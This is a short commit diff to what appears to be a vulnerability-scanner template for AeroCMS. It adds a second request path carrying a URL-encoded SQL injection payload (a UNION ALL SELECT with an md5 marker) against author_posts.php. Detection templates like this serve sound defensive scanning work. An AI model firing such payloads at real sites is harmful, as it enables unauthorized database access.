Update aerocms-sqli.yaml

2022-10-20 12:59:46 +05:30 · 2022-10-20 12:59:46 +05:30 · 054f0c4872
parent dced04fd39
commit 054f0c4872
1 changed files with 2 additions and 0 deletions
--- a/vulnerabilities/other/aerocms-sqli.yaml
+++ b/vulnerabilities/other/aerocms-sqli.yaml
@ -20,7 +20,9 @@ requests:
  - method: GET
    path:
      - '{{BaseURL}}/author_posts.php?author=admin%27%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(md5({{num}}),1,1),NULL,NULL,NULL,NULL--%20-&p_id=1'
+      - '{{BaseURL}}/cms/author_posts.php?author=admin%27%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(md5({{num}}),1,1),NULL,NULL,NULL,NULL--%20-&p_id=1'

+    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word